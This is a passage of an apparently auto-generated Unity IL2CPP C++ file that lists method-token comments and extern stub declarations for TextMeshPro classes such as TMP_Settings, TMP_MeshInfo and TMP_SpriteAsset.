// 0x0000039E System.Void TMPro.TMP_MaterialManager::ReleaseFallbackMaterial(UnityEngine.Material)
extern void TMP_MaterialManager_ReleaseFallbackMaterial_mF3EBED266A7707F246861B5B311335E4042A9025 (void);
// 0x0000039F System.Void TMPro.TMP_MaterialManager::CopyMaterialPresetProperties(UnityEngine.Material,UnityEngine.Material)
extern void TMP_MaterialManager_CopyMaterialPresetProperties_m5F8DAEA5763339B4868B9F590FE51B0B0621B08E (void);
// 0x000003A0 System.Void TMPro.TMP_MaterialManager/FallbackMaterial::.ctor()
extern void FallbackMaterial__ctor_m5AA6484722CD55AD1E40B459CAB79DD8990A713F (void);
// 0x000003A1 System.Void TMPro.TMP_MaterialManager/MaskingMaterial::.ctor()
extern void MaskingMaterial__ctor_mA1BA8800085879CFA3DE2A0DED61A4AA92C62B2C (void);
// 0x000003A2 System.Void TMPro.TMP_MaterialManager/<>c__DisplayClass9_0::.ctor()
extern void U3CU3Ec__DisplayClass9_0__ctor_m848336CD827EA7C72F02A2F5197CC154956B3D84 (void);
// 0x000003A3 System.Boolean TMPro.TMP_MaterialManager/<>c__DisplayClass9_0::<GetBaseMaterial>b__0(TMPro.TMP_MaterialManager/MaskingMaterial)
extern void U3CU3Ec__DisplayClass9_0_U3CGetBaseMaterialU3Eb__0_m98229F401F0560DF925A73A963C8371504C1A4B0 (void);
// 0x000003A4 System.Void TMPro.TMP_MaterialManager/<>c__DisplayClass11_0::.ctor()
extern void U3CU3Ec__DisplayClass11_0__ctor_m28B98E0B4AE129848CDFF36F6F34E9D2D9141268 (void);
// 0x000003A5 System.Boolean TMPro.TMP_MaterialManager/<>c__DisplayClass11_0::<AddMaskingMaterial>b__0(TMPro.TMP_MaterialManager/MaskingMaterial)
extern void U3CU3Ec__DisplayClass11_0_U3CAddMaskingMaterialU3Eb__0_m4F0BC91E6CEE544BBB91FC63751A03DB13F1037D (void);
// 0x000003A6 System.Void TMPro.TMP_MaterialManager/<>c__DisplayClass12_0::.ctor()
extern void U3CU3Ec__DisplayClass12_0__ctor_mAB99B1A35D85999D6D5626476FDFBC24C2267F92 (void);
// 0x000003A7 System.Boolean TMPro.TMP_MaterialManager/<>c__DisplayClass12_0::<RemoveStencilMaterial>b__0(TMPro.TMP_MaterialManager/MaskingMaterial)
extern void U3CU3Ec__DisplayClass12_0_U3CRemoveStencilMaterialU3Eb__0_m287C61417605FA86EFA7C1727977B50AD14C85E6 (void);
// 0x000003A8 System.Void TMPro.TMP_MaterialManager/<>c__DisplayClass13_0::.ctor()
extern void U3CU3Ec__DisplayClass13_0__ctor_m75854EC300C2C88140C6100C42620E466E0A149A (void);
// 0x000003A9 System.Boolean TMPro.TMP_MaterialManager/<>c__DisplayClass13_0::<ReleaseBaseMaterial>b__0(TMPro.TMP_MaterialManager/MaskingMaterial)
extern void U3CU3Ec__DisplayClass13_0_U3CReleaseBaseMaterialU3Eb__0_m890054ECE6EF0D16429C8BE76649990EAC0CBD58 (void);
// 0x000003AA System.Void TMPro.TMP_MeshInfo::.ctor(UnityEngine.Mesh,System.Int32)
extern void TMP_MeshInfo__ctor_m453B9FC30A2CB8AB2A5C868AC4229B7903F033E6 (void);
// 0x000003AB System.Void TMPro.TMP_MeshInfo::.ctor(UnityEngine.Mesh,System.Int32,System.Boolean)
extern void TMP_MeshInfo__ctor_m95D69F6D719C924C0AF92DCBB1F642D39469CBB5 (void);
// 0x000003AC System.Void TMPro.TMP_MeshInfo::ResizeMeshInfo(System.Int32)
extern void TMP_MeshInfo_ResizeMeshInfo_m13DF794141EBDD4446391BAF6FD469EEFE3DD6D1 (void);
// 0x000003AD System.Void TMPro.TMP_MeshInfo::ResizeMeshInfo(System.Int32,System.Boolean)
extern void TMP_MeshInfo_ResizeMeshInfo_m247290DC2AD29A232C6473904748ADD11779D543 (void);
// 0x000003AE System.Void TMPro.TMP_MeshInfo::Clear()
extern void TMP_MeshInfo_Clear_m002C7A793C6BBFF39C878B909F0162E6EB5C12F8 (void);
// 0x000003AF System.Void TMPro.TMP_MeshInfo::Clear(System.Boolean)
extern void TMP_MeshInfo_Clear_m28C815908490A64459F38D5EC110C6823B813888 (void);
// 0x000003B0 System.Void TMPro.TMP_MeshInfo::ClearUnusedVertices()
extern void TMP_MeshInfo_ClearUnusedVertices_mF5DC41BB72A19486A4079208D13472DD0BDE2CD9 (void);
// 0x000003B1 System.Void TMPro.TMP_MeshInfo::ClearUnusedVertices(System.Int32)
extern void TMP_MeshInfo_ClearUnusedVertices_m1BDC394210705FC5219A44B3D110BF50F3027B55 (void);
// 0x000003B2 System.Void TMPro.TMP_MeshInfo::ClearUnusedVertices(System.Int32,System.Boolean)
extern void TMP_MeshInfo_ClearUnusedVertices_mB4475A7E8ED25FBCD1D1E91924D9DF3D60AE7A1A (void);
// 0x000003B3 System.Void TMPro.TMP_MeshInfo::SortGeometry(TMPro.VertexSortingOrder)
extern void TMP_MeshInfo_SortGeometry_m28C6E9A947C7352F16910BAE2F744087720DBECA (void);
// 0x000003B4 System.Void TMPro.TMP_MeshInfo::SortGeometry(System.Collections.Generic.IList`1<System.Int32>)
extern void TMP_MeshInfo_SortGeometry_m74ED0FE2065414A659EE9A9C809E1B0B4A8A7734 (void);
// 0x000003B5 System.Void TMPro.TMP_MeshInfo::SwapVertexData(System.Int32,System.Int32)
extern void TMP_MeshInfo_SwapVertexData_mBB35F36F8E7E6CF1429B26417140570EE94FE718 (void);
// 0x000003B6 System.Void TMPro.TMP_MeshInfo::.cctor()
extern void TMP_MeshInfo__cctor_mC20DB35D1416ACA3075858728EE6132B6D7F62F3 (void);
// 0x000003B7 System.Int32 TMPro.TMP_ObjectPool`1::get_countAll()
// 0x000003B8 System.Void TMPro.TMP_ObjectPool`1::set_countAll(System.Int32)
// 0x000003B9 System.Int32 TMPro.TMP_ObjectPool`1::get_countActive()
// 0x000003BA System.Int32 TMPro.TMP_ObjectPool`1::get_countInactive()
// 0x000003BB System.Void TMPro.TMP_ObjectPool`1::.ctor(UnityEngine.Events.UnityAction`1<T>,UnityEngine.Events.UnityAction`1<T>)
// 0x000003BC T TMPro.TMP_ObjectPool`1::Get()
// 0x000003BD System.Void TMPro.TMP_ObjectPool`1::Release(T)
// 0x000003BE System.Void TMPro.TMP_ResourceManager::.cctor()
extern void TMP_ResourceManager__cctor_m2267B0B38C0623327DDC386D634E4ED4353065F4 (void);
// 0x000003BF TMPro.TMP_Settings TMPro.TMP_ResourceManager::GetTextSettings()
extern void TMP_ResourceManager_GetTextSettings_m62E3F44107E03415BAF952A022627E4954778088 (void);
// 0x000003C0 System.Void TMPro.TMP_ResourceManager::AddFontAsset(TMPro.TMP_FontAsset)
extern void TMP_ResourceManager_AddFontAsset_m99D7D67B833946983A8FF2B6B9D2789D3FA192F7 (void);
// 0x000003C1 System.Boolean TMPro.TMP_ResourceManager::TryGetFontAsset(System.Int32,TMPro.TMP_FontAsset&)
extern void TMP_ResourceManager_TryGetFontAsset_mCA96DB9FFD77E22BDD10BF85478203EB30A830CE (void);
// 0x000003C2 System.Void TMPro.TMP_ResourceManager::RebuildFontAssetCache(System.Int32)
extern void TMP_ResourceManager_RebuildFontAssetCache_m09CA6724A24F5CB5A13DCE2AB7A595BCC7FF25C6 (void);
// 0x000003C3 System.Void TMPro.TMP_ResourceManager::.ctor()
extern void TMP_ResourceManager__ctor_m41A56B8623D6458A03C6A8C3D7470C2F7BB7A1AE (void);
// 0x000003C4 System.Void TMPro.TMP_ScrollbarEventHandler::OnPointerClick(UnityEngine.EventSystems.PointerEventData)
extern void TMP_ScrollbarEventHandler_OnPointerClick_m34AF6B0146F0BC5B3C09C32EED107B4463E7F8DE (void);
// 0x000003C5 System.Void TMPro.TMP_ScrollbarEventHandler::OnSelect(UnityEngine.EventSystems.BaseEventData)
extern void TMP_ScrollbarEventHandler_OnSelect_mDF45AA8D470D08691E9F4D615B7DE3BE9AC7135D (void);
// 0x000003C6 System.Void TMPro.TMP_ScrollbarEventHandler::OnDeselect(UnityEngine.EventSystems.BaseEventData)
extern void TMP_ScrollbarEventHandler_OnDeselect_mF833BEBAB98A0B437BFC9BCB5EE3747434A082F4 (void);
// 0x000003C7 System.Void TMPro.TMP_ScrollbarEventHandler::.ctor()
extern void TMP_ScrollbarEventHandler__ctor_m58CED24AFA6F683381D1730590691DDDD5239555 (void);
// 0x000003C8 System.Void TMPro.TMP_SelectionCaret::Cull(UnityEngine.Rect,System.Boolean)
extern void TMP_SelectionCaret_Cull_m2DC72A9C1EA02ECCB716CD88EFE102299E9006F1 (void);
// 0x000003C9 System.Void TMPro.TMP_SelectionCaret::UpdateGeometry()
extern void TMP_SelectionCaret_UpdateGeometry_mF6C6F61B4CD8E34D7D9777EF897639DBFB18755E (void);
// 0x000003CA System.Void TMPro.TMP_SelectionCaret::.ctor()
extern void TMP_SelectionCaret__ctor_m68388B98DDFDBA26F60C2AF944794D3A43BE8070 (void);
// 0x000003CB System.String TMPro.TMP_Settings::get_version()
extern void TMP_Settings_get_version_mEAC34702C10FC6DFDDDF30DEEFF0A569BD6FCB81 (void);
// 0x000003CC System.Boolean TMPro.TMP_Settings::get_enableWordWrapping()
extern void TMP_Settings_get_enableWordWrapping_m4D520D99A56B8C50E822B4899EFD88EB60E0FAB6 (void);
// 0x000003CD System.Boolean TMPro.TMP_Settings::get_enableKerning()
extern void TMP_Settings_get_enableKerning_m422F8278E33911FAA4EFD408C72B8BF77969F55F (void);
// 0x000003CE System.Boolean TMPro.TMP_Settings::get_enableExtraPadding()
extern void TMP_Settings_get_enableExtraPadding_mC5FE6AEE29714A74832AD5A8A5D443C3678040BA (void);
// 0x000003CF System.Boolean TMPro.TMP_Settings::get_enableTintAllSprites()
extern void TMP_Settings_get_enableTintAllSprites_mCC3B4EF67D1A23F2C18AA580C03A040A4367F2B1 (void);
// 0x000003D0 System.Boolean TMPro.TMP_Settings::get_enableParseEscapeCharacters()
extern void TMP_Settings_get_enableParseEscapeCharacters_m6F70AE4B5014E2ABC4FBFBB1DD1AB28A038F2FFD (void);
// 0x000003D1 System.Boolean TMPro.TMP_Settings::get_enableRaycastTarget()
extern void TMP_Settings_get_enableRaycastTarget_mAC83BFB53788219A69DF6B11F6040FEE81A352D3 (void);
// 0x000003D2 System.Boolean TMPro.TMP_Settings::get_getFontFeaturesAtRuntime()
extern void TMP_Settings_get_getFontFeaturesAtRuntime_m6B5BD01BDAB8D9D065356A686354ADF712CB4FD9 (void);
// 0x000003D3 System.Int32 TMPro.TMP_Settings::get_missingGlyphCharacter()
extern void TMP_Settings_get_missingGlyphCharacter_mBF21C46B4B1544132C728AB9D65E8CA9F8ACD4D6 (void);
// 0x000003D4 System.Void TMPro.TMP_Settings::set_missingGlyphCharacter(System.Int32)
extern void TMP_Settings_set_missingGlyphCharacter_m828F6DEDA11BF35928DB58F05BEF854CEEEB64DD (void);
// 0x000003D5 System.Boolean TMPro.TMP_Settings::get_warningsDisabled()
extern void TMP_Settings_get_warningsDisabled_mE106F9998B9E2D800A4C2DA927084DC04995FB27 (void);
// 0x000003D6 TMPro.TMP_FontAsset TMPro.TMP_Settings::get_defaultFontAsset()
extern void TMP_Settings_get_defaultFontAsset_mC322E8D26D4C108847D5408DD8C7160834615B0D (void);
// 0x000003D7 System.String TMPro.TMP_Settings::get_defaultFontAssetPath()
extern void TMP_Settings_get_defaultFontAssetPath_mD80981ABC8EAC468354ADB14AE4D42EBE2817A50 (void);
// 0x000003D8 System.Single TMPro.TMP_Settings::get_defaultFontSize()
extern void TMP_Settings_get_defaultFontSize_m633B012E1B96DB5CB5804AC72E393671ECB4D3F7 (void);
// 0x000003D9 System.Single TMPro.TMP_Settings::get_defaultTextAutoSizingMinRatio()
extern void TMP_Settings_get_defaultTextAutoSizingMinRatio_m243CDC92E4CF7A965EFB6FB230F435CFA692E401 (void);
// 0x000003DA System.Single TMPro.TMP_Settings::get_defaultTextAutoSizingMaxRatio()
extern void TMP_Settings_get_defaultTextAutoSizingMaxRatio_mD8CF79010DFA583BC8D25B3433B7AC66465B1B45 (void);
// 0x000003DB UnityEngine.Vector2 TMPro.TMP_Settings::get_defaultTextMeshProTextContainerSize()
extern void TMP_Settings_get_defaultTextMeshProTextContainerSize_m9FD779849D64E92FCB19F44071E1066D1A9FF002 (void);
// 0x000003DC UnityEngine.Vector2 TMPro.TMP_Settings::get_defaultTextMeshProUITextContainerSize()
extern void TMP_Settings_get_defaultTextMeshProUITextContainerSize_mFCB1EAE32D6A4D4AFA9947C30FBAE82BE761FAE1 (void);
// 0x000003DD System.Boolean TMPro.TMP_Settings::get_autoSizeTextContainer()
extern void TMP_Settings_get_autoSizeTextContainer_m603D737564C246B828F70343153BCD5EF2D697B8 (void);
// 0x000003DE System.Boolean TMPro.TMP_Settings::get_isTextObjectScaleStatic()
extern void TMP_Settings_get_isTextObjectScaleStatic_m4EB4D9DCF1053FEA943364A279F576E915C4CB5C (void);
// 0x000003DF System.Void TMPro.TMP_Settings::set_isTextObjectScaleStatic(System.Boolean)
extern void TMP_Settings_set_isTextObjectScaleStatic_m91CAB1F803A70ACB4DC8129A42DC8A6C6B44758D (void);
// 0x000003E0 System.Collections.Generic.List`1<TMPro.TMP_FontAsset> TMPro.TMP_Settings::get_fallbackFontAssets()
extern void TMP_Settings_get_fallbackFontAssets_mB8085CABB99267782BCE4FEC83658D41C4FC4032 (void);
// 0x000003E1 System.Boolean TMPro.TMP_Settings::get_matchMaterialPreset()
extern void TMP_Settings_get_matchMaterialPreset_mDAB4904C7307D1A30A5BF8DC78B8AF34D4414ED3 (void);
// 0x000003E2 TMPro.TMP_SpriteAsset TMPro.TMP_Settings::get_defaultSpriteAsset()
extern void TMP_Settings_get_defaultSpriteAsset_mB5C15B20B232830C4CC4C266A99D0A85E5B96F63 (void);
// 0x000003E3 System.String TMPro.TMP_Settings::get_defaultSpriteAssetPath()
extern void TMP_Settings_get_defaultSpriteAssetPath_m56CDA5BDD82D362F3F3C4DE53EEF4C00BD7410AE (void);
// 0x000003E4 System.Boolean TMPro.TMP_Settings::get_enableEmojiSupport()
extern void TMP_Settings_get_enableEmojiSupport_mBE4ECBB86C9104D73ECC12F3CE26D24D67D7A468 (void);
// 0x000003E5 System.Void TMPro.TMP_Settings::set_enableEmojiSupport(System.Boolean)
extern void TMP_Settings_set_enableEmojiSupport_m936C6014EBCEE2B8068D9CFE5B92297A6AC365F1 (void);
// 0x000003E6 System.UInt32 TMPro.TMP_Settings::get_missingCharacterSpriteUnicode()
extern void TMP_Settings_get_missingCharacterSpriteUnicode_m220A50CCB54C434A880EAA18D18C7870A30D2982 (void);
// 0x000003E7 System.Void TMPro.TMP_Settings::set_missingCharacterSpriteUnicode(System.UInt32)
extern void TMP_Settings_set_missingCharacterSpriteUnicode_m4F275C71C94246EC0DDDCC3C385315ED7131CD8D (void);
// 0x000003E8 System.String TMPro.TMP_Settings::get_defaultColorGradientPresetsPath()
extern void TMP_Settings_get_defaultColorGradientPresetsPath_m88470E43E57A64E5EC34D1D25CA7670608BF0DD2 (void);
// 0x000003E9 TMPro.TMP_StyleSheet TMPro.TMP_Settings::get_defaultStyleSheet()
extern void TMP_Settings_get_defaultStyleSheet_m5D4D6D3E3CB8C221D44668D8F148ACF16D7D8F96 (void);
// 0x000003EA System.String TMPro.TMP_Settings::get_styleSheetsResourcePath()
extern void TMP_Settings_get_styleSheetsResourcePath_m44549963ED660E58EED0021D74E017C5669BE62B (void);
// 0x000003EB UnityEngine.TextAsset TMPro.TMP_Settings::get_leadingCharacters()
extern void TMP_Settings_get_leadingCharacters_mABDCEE8BD7B6AD4C8033E706231C8B03BF0DDBF0 (void);
// 0x000003EC UnityEngine.TextAsset TMPro.TMP_Settings::get_followingCharacters()
extern void TMP_Settings_get_followingCharacters_m219C540512121CE0F3F809A3D6D0572B8DFE24AD (void);
// 0x000003ED TMPro.TMP_Settings/LineBreakingTable TMPro.TMP_Settings::get_linebreakingRules()
extern void TMP_Settings_get_linebreakingRules_mEFA0F4486D45AC8867041B58171495D841943F56 (void);
// 0x000003EE System.Boolean TMPro.TMP_Settings::get_useModernHangulLineBreakingRules()
extern void TMP_Settings_get_useModernHangulLineBreakingRules_m8F4C067EA0EF24CFCFA179A72BAEADC147FAADDB (void);
// 0x000003EF System.Void TMPro.TMP_Settings::set_useModernHangulLineBreakingRules(System.Boolean)
extern void TMP_Settings_set_useModernHangulLineBreakingRules_mB7BB3C393576AFD1CFA8F85C700E6C21A78CA57A (void);
// 0x000003F0 TMPro.TMP_Settings TMPro.TMP_Settings::get_instance()
extern void TMP_Settings_get_instance_mDBC0D34BE1346805DC9339A92A9AF9CA4365D8FE (void);
// 0x000003F1 TMPro.TMP_Settings TMPro.TMP_Settings::LoadDefaultSettings()
extern void TMP_Settings_LoadDefaultSettings_m13F4B41D5D4375811FB97D0C06164DAB3CF1EAD9 (void);
// 0x000003F2 TMPro.TMP_Settings TMPro.TMP_Settings::GetSettings()
extern void TMP_Settings_GetSettings_m3B36D62496691B8838F4AFB5072ECE32BC4F1C10 (void);
// 0x000003F3 TMPro.TMP_FontAsset TMPro.TMP_Settings::GetFontAsset()
extern void TMP_Settings_GetFontAsset_m2EFD7C6CABB0EFE3F4D1297FF8E6EDBF315B4244 (void);
// 0x000003F4 TMPro.TMP_SpriteAsset TMPro.TMP_Settings::GetSpriteAsset()
extern void TMP_Settings_GetSpriteAsset_m67B87F0EBE2C7B5BDC32D534E1910742EB4743E2 (void);
// 0x000003F5 TMPro.TMP_StyleSheet TMPro.TMP_Settings::GetStyleSheet()
extern void TMP_Settings_GetStyleSheet_m1087560A645A2DAFF7774F2D43DB228317FC634F (void);
// 0x000003F6 System.Void TMPro.TMP_Settings::LoadLinebreakingRules()
extern void TMP_Settings_LoadLinebreakingRules_mC786164D725872A3FE4FDC8292AE54BD7CBC786E (void);
// 0x000003F7 System.Collections.Generic.Dictionary`2<System.Int32,System.Char> TMPro.TMP_Settings::GetCharacters(UnityEngine.TextAsset)
extern void TMP_Settings_GetCharacters_m904739889EF785CC4D0A958156F382125D63B523 (void);
// 0x000003F8 System.Void TMPro.TMP_Settings::.ctor()
extern void TMP_Settings__ctor_m8D99E9A01FB47EDF64A744B6B1AD5B424CB9F38F (void);
// 0x000003F9 System.Void TMPro.TMP_Settings/LineBreakingTable::.ctor()
extern void LineBreakingTable__ctor_m20DC4ED032712E7234F19604082B5B41DEF713EB (void);
// 0x000003FA UnityEngine.Shader TMPro.ShaderUtilities::get_ShaderRef_MobileSDF()
extern void ShaderUtilities_get_ShaderRef_MobileSDF_mF290287DC8FCA75D104DC7A0C01BEF67EA8F9C53 (void);
// 0x000003FB UnityEngine.Shader TMPro.ShaderUtilities::get_ShaderRef_MobileBitmap()
extern void ShaderUtilities_get_ShaderRef_MobileBitmap_m94CEC6AEA07F2CAF6A6BE9C98DCB50319795CD37 (void);
// 0x000003FC System.Void TMPro.ShaderUtilities::.cctor()
extern void ShaderUtilities__cctor_m88664CD657CA3DDCB44194058ABC84A865A53B02 (void);
// 0x000003FD System.Void TMPro.ShaderUtilities::GetShaderPropertyIDs()
extern void ShaderUtilities_GetShaderPropertyIDs_m0DCBCCEFDE02CD3DF9560321164BA4FCE9764238 (void);
// 0x000003FE System.Void TMPro.ShaderUtilities::UpdateShaderRatios(UnityEngine.Material)
extern void ShaderUtilities_UpdateShaderRatios_mDB54C4E7164697363833290B2AE869BEC703E713 (void);
// 0x000003FF UnityEngine.Vector4 TMPro.ShaderUtilities::GetFontExtent(UnityEngine.Material)
extern void ShaderUtilities_GetFontExtent_mB4EF50E4B2F37619560D32A4A57DC99F33371404 (void);
// 0x00000400 System.Boolean TMPro.ShaderUtilities::IsMaskingEnabled(UnityEngine.Material)
extern void ShaderUtilities_IsMaskingEnabled_mB322766562C5A7A96486C49297EC184F73EA8240 (void);
// 0x00000401 System.Single TMPro.ShaderUtilities::GetPadding(UnityEngine.Material,System.Boolean,System.Boolean)
extern void ShaderUtilities_GetPadding_m636B9B1177987E9574C612C6412A45C51F3AA54B (void);
// 0x00000402 System.Single TMPro.ShaderUtilities::GetPadding(UnityEngine.Material[],System.Boolean,System.Boolean)
extern void ShaderUtilities_GetPadding_m663118873547D1A1144C3053B09D4EE02570099C (void);
// 0x00000403 System.Void TMPro.TMP_Sprite::.ctor()
extern void TMP_Sprite__ctor_mEAF426A39C3129E4D1997ED2D1591F3ADE1A25A2 (void);
// 0x00000404 System.Void TMPro.TMP_SpriteAnimator::Awake()
extern void TMP_SpriteAnimator_Awake_m6A8FFA0C1EF9E744486051B028DE20B122FADF66 (void);
// 0x00000405 System.Void TMPro.TMP_SpriteAnimator::OnEnable()
extern void TMP_SpriteAnimator_OnEnable_mBAA3D31A82A9CDEFC373D10DF860384E31D38BA9 (void);
// 0x00000406 System.Void TMPro.TMP_SpriteAnimator::OnDisable()
extern void TMP_SpriteAnimator_OnDisable_mF9A39A9D836AF81C70ED6D301275B814AF3ABBAD (void);
// 0x00000407 System.Void TMPro.TMP_SpriteAnimator::StopAllAnimations()
extern void TMP_SpriteAnimator_StopAllAnimations_m0531CA658CF1A4E5A18BC73234FE5CC8318F64F1 (void);
// 0x00000408 System.Void TMPro.TMP_SpriteAnimator::DoSpriteAnimation(System.Int32,TMPro.TMP_SpriteAsset,System.Int32,System.Int32,System.Int32)
extern void TMP_SpriteAnimator_DoSpriteAnimation_m02F535CA423940D067CABC1F1FE45745409510FC (void);
// 0x00000409 System.Collections.IEnumerator TMPro.TMP_SpriteAnimator::DoSpriteAnimationInternal(System.Int32,TMPro.TMP_SpriteAsset,System.Int32,System.Int32,System.Int32)
extern void TMP_SpriteAnimator_DoSpriteAnimationInternal_mCF00A0F5F136AAF118AE0178104FE885E7DE8EF0 (void);
// 0x0000040A System.Void TMPro.TMP_SpriteAnimator::.ctor()
extern void TMP_SpriteAnimator__ctor_mCFCE75C7C04926B5DE46F9FF2C5C9A3904F7FE78 (void);
// 0x0000040B System.Void TMPro.TMP_SpriteAnimator/<DoSpriteAnimationInternal>d__7::.ctor(System.Int32)
extern void U3CDoSpriteAnimationInternalU3Ed__7__ctor_m8BBDA4F604B39E235BB82F6E3F20B0FD693688A8 (void);
// 0x0000040C System.Void TMPro.TMP_SpriteAnimator/<DoSpriteAnimationInternal>d__7::System.IDisposable.Dispose()
extern void U3CDoSpriteAnimationInternalU3Ed__7_System_IDisposable_Dispose_m20F949D3F288FCD413EFBF1AD9B7E508334C5DEE (void);
// 0x0000040D System.Boolean TMPro.TMP_SpriteAnimator/<DoSpriteAnimationInternal>d__7::MoveNext()
extern void U3CDoSpriteAnimationInternalU3Ed__7_MoveNext_m8FFB7B97D3E8C8A2F5C5239E74A6B93111180A92 (void);
// 0x0000040E System.Object TMPro.TMP_SpriteAnimator/<DoSpriteAnimationInternal>d__7::System.Collections.Generic.IEnumerator<System.Object>.get_Current()
extern void U3CDoSpriteAnimationInternalU3Ed__7_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m226B3A70CA139557EB0F887B08A867394A12AE05 (void);
// 0x0000040F System.Void TMPro.TMP_SpriteAnimator/<DoSpriteAnimationInternal>d__7::System.Collections.IEnumerator.Reset()
extern void U3CDoSpriteAnimationInternalU3Ed__7_System_Collections_IEnumerator_Reset_m0D4ED9831F002A26C52E1A969C7AFB0F7A6125B3 (void);
// 0x00000410 System.Object TMPro.TMP_SpriteAnimator/<DoSpriteAnimationInternal>d__7::System.Collections.IEnumerator.get_Current()
extern void U3CDoSpriteAnimationInternalU3Ed__7_System_Collections_IEnumerator_get_Current_m6C9904888FA484F24441F723715CD60757A8BD21 (void);
// 0x00000411 System.String TMPro.TMP_SpriteAsset::get_version()
extern void TMP_SpriteAsset_get_version_m908EBE63C74A10EF17C07C046D2E76FA54C1ADB8 (void);
// 0x00000412 System.Void TMPro.TMP_SpriteAsset::set_version(System.String)
extern void TMP_SpriteAsset_set_version_m55AC1FB92B62B73170D86867DDD97FFB5B184751 (void);
// 0x00000413 UnityEngine.TextCore.FaceInfo TMPro.TMP_SpriteAsset::get_faceInfo()
extern void TMP_SpriteAsset_get_faceInfo_m1530AA39D6792A0EEE0EAD23159893F418A7E3EB (void);
// 0x00000414 System.Void TMPro.TMP_SpriteAsset::set_faceInfo(UnityEngine.TextCore.FaceInfo)
extern void TMP_SpriteAsset_set_faceInfo_mDF753986EF1CB074813927B23968C70AE69DA1DC (void);
// 0x00000415 System.Collections.Generic.List`1<TMPro.TMP_SpriteCharacter> TMPro.TMP_SpriteAsset::get_spriteCharacterTable()
extern void TMP_SpriteAsset_get_spriteCharacterTable_m2F591ADE7DC8DE042B8A32AF84AC169C19CB9D2A (void);
// 0x00000416 System.Void TMPro.TMP_SpriteAsset::set_spriteCharacterTable(System.Collections.Generic.List`1<TMPro.TMP_SpriteCharacter>)
extern void TMP_SpriteAsset_set_spriteCharacterTable_m129E6E18F2DED131EBEBE4C792DFC71DE35968FD (void);
// 0x00000417 System.Collections.Generic.Dictionary`2<System.UInt32,TMPro.TMP_SpriteCharacter> TMPro.TMP_SpriteAsset::get_spriteCharacterLookupTable()
extern void TMP_SpriteAsset_get_spriteCharacterLookupTable_mA1128B86D4510139DB3712D8886F64C3B2A8D30F (void);
// 0x00000418 System.Void TMPro.TMP_SpriteAsset::set_spriteCharacterLookupTable(System.Collections.Generic.Dictionary`2<System.UInt32,TMPro.TMP_SpriteCharacter>)
extern void TMP_SpriteAsset_set_spriteCharacterLookupTable_mA5C2661AF36B12516A888D463B69F2DAA6AFBD6D (void);
// 0x00000419 System.Collections.Generic.List`1<TMPro.TMP_SpriteGlyph> TMPro.TMP_SpriteAsset::get_spriteGlyphTable()
extern void TMP_SpriteAsset_get_spriteGlyphTable_mF26169916988D252767D8801D1E8A2C2D10744A9 (void);
// 0x0000041A System.Void TMPro.TMP_SpriteAsset::set_spriteGlyphTable(System.Collections.Generic.List`1<TMPro.TMP_SpriteGlyph>)
extern void TMP_SpriteAsset_set_spriteGlyphTable_m7207A256A0E4A37F083B1A870C88967C9249E46D (void);
// 0x0000041B System.Void TMPro.TMP_SpriteAsset::Awake()
extern void TMP_SpriteAsset_Awake_mAD9AA42B857F3D524A18BCC7512F09D02810EA8B (void);
// 0x0000041C UnityEngine.Material TMPro.TMP_SpriteAsset::GetDefaultSpriteMaterial()
extern void TMP_SpriteAsset_GetDefaultSpriteMaterial_m71B824EDA9676B6A30EDE264BEE9E54C6D621AAC (void);
// 0x0000041D System.Void TMPro.TMP_SpriteAsset::UpdateLookupTables()
extern void TMP_SpriteAsset_UpdateLookupTables_mEC56B333C873E25ED75D6DD85E1628ED8C631545 (void);
// 0x0000041E System.Int32 TMPro.TMP_SpriteAsset::GetSpriteIndexFromHashcode(System.Int32)
extern void TMP_SpriteAsset_GetSpriteIndexFromHashcode_mE1E4D499A7FAD58AB955E1CA8344D640D82219C2 (void);
// 0x0000041F System.Int32 TMPro.TMP_SpriteAsset::GetSpriteIndexFromUnicode(System.UInt32)
extern void TMP_SpriteAsset_GetSpriteIndexFromUnicode_m20CA8E503DE1FD6FE80E9418EF9A426DFEDD9014 (void);
// 0x00000420 System.Int32 TMPro.TMP_SpriteAsset::GetSpriteIndexFromName(System.String)
extern void TMP_SpriteAsset_GetSpriteIndexFromName_m0CFC33E1F9D56B23BB7DD2DDD1C0886D41A9BE6B (void);
// 0x00000421 TMPro.TMP_SpriteAsset TMPro.TMP_SpriteAsset::SearchForSpriteByUnicode(TMPro.TMP_SpriteAsset,System.UInt32,System.Boolean,System.Int32&)
extern void TMP_SpriteAsset_SearchForSpriteByUnicode_mBD123F3E2ECF30AD16D4FED8D7277BF9962BC59C (void);
// 0x00000422 TMPro.TMP_SpriteAsset TMPro.TMP_SpriteAsset::SearchForSpriteByUnicodeInternal(System.Collections.Generic.List`1<TMPro.TMP_SpriteAsset>,System.UInt32,System.Boolean,System.Int32&)
extern void TMP_SpriteAsset_SearchForSpriteByUnicodeInternal_m4D512CC9086A31C562F04F9B4E0CBD7A9FB6F48A (void);
// 0x00000423 TMPro.TMP_SpriteAsset TMPro.TMP_SpriteAsset::SearchForSpriteByUnicodeInternal(TMPro.TMP_SpriteAsset,System.UInt32,System.Boolean,System.Int32&)
extern void TMP_SpriteAsset_SearchForSpriteByUnicodeInternal_mFB07171D1040D3E69CC135D932AEAF7F2AA14550 (void);
// 0x00000424 TMPro.TMP_SpriteAsset TMPro.TMP_SpriteAsset::SearchForSpriteByHashCode(TMPro.TMP_SpriteAsset,System.Int32,System.Boolean,System.Int32&)
extern void TMP_SpriteAsset_SearchForSpriteByHashCode_m6BE5C18FB376C75A5F58F280CDFC310CC39663CC (void);
// 0x00000425 TMPro.TMP_SpriteAsset TMPro.TMP_SpriteAsset::SearchForSpriteByHashCodeInternal(System.Collections.Generic.List`1<TMPro.TMP_SpriteAsset>,System.Int32,System.Boolean,System.Int32&)
extern void TMP_SpriteAsset_SearchForSpriteByHashCodeInternal_m8E2D794D03E2E6F06ED6269369D772AD53419AEE (void);
// 0x00000426 TMPro.TMP_SpriteAsset TMPro.TMP_SpriteAsset::SearchForSpriteByHashCodeInternal(TMPro.TMP_SpriteAsset,System.Int32,System.Boolean,System.Int32&)
extern void TMP_SpriteAsset_SearchForSpriteByHashCodeInternal_m3AD58EC96B8954C7405E2AD697EC57C0C449A16C (void);
// 0x00000427 System.Void TMPro.TMP_SpriteAsset::SortGlyphTable()
extern void TMP_SpriteAsset_SortGlyphTable_m0B638BC195978816F72A5D32E1FD2608EB388B68 (void);
// 0x00000428 System.Void TMPro.TMP_SpriteAsset::SortCharacterTable()
extern void TMP_SpriteAsset_SortCharacterTable_mAAE212E44DECC76673001EB17D3BBCBCF1A3CCA1 (void);
